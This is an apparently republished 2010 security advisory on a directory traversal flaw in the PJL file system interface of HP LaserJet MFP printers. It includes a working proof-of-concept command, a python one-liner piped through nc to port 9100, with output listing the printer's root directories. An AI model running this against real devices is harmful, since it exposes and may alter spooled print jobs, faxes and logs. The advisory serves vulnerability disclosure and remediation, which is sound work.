HP LaserJet PJL Interface Directory Traversal

HP LaserJet PJL Interface Directory Traversal
Posted Nov 30, 2010
Authored by Moritz Jodeit | Site nruns.com

A directory traversal vulnerability has been found in the PJL file system access interface of various HP LaserJet MFP devices. File system access through PJL is usually restricted to a specific part of the file system. Using a pathname such as 0:\..\..\..\ it is possible to get access to the complete file system of the device.

Overview:

The Printer Job Language (PJL) was developed by Hewlett-Packard to
provide a method for switching printer languages at the job level
and for status exchange between the device and a host computer.
Besides the possibility to view and change parts of the printer's
configuration or modify control panel messages PJL allows some limited
form of file system access. PJL is used "above" other printer languages
such as PCL and is usually accessible on port 9100. Detailed
information about PJL can be found in the PJL Technical Reference
Manual [1].

Description:

A directory traversal vulnerability has been found in the PJL file
system access interface of various HP LaserJet MFP devices.
File system access through PJL is usually restricted to a specific
part of the file system. Using a pathname such as 0:\..\..\..\ it
is possible to get access to the complete file system of the device.

Proof of Concept:

The following command can be used to reproduce the problem. It lists
all files in the root directoy of the device:

$ python -c 'print "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" \
ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100
@PJL FSDIRLIST NAME="0:\..\..\..\" ENTRY=1
. TYPE=DIR
.. TYPE=DIR
tmp TYPE=DIR
etc TYPE=DIR
xps TYPE=DIR
dsk_ide2a TYPE=DIR
dsk_ColorIQ TYPE=DIR
dsk_CustomIQ TYPE=DIR
bootdev TYPE=DIR
dsk_jdi TYPE=DIR
dsk_jdi_ss TYPE=DIR
dsk_af TYPE=DIR
lrt TYPE=DIR
webServer TYPE=DIR

Impact:

This vulnerability allows sensitive information to be disclosed
and potentially be modified. This includes spooled print jobs,
received faxes, log files or other settings of the device.

Solution:

See the HP advisory [3] for possible workarounds.
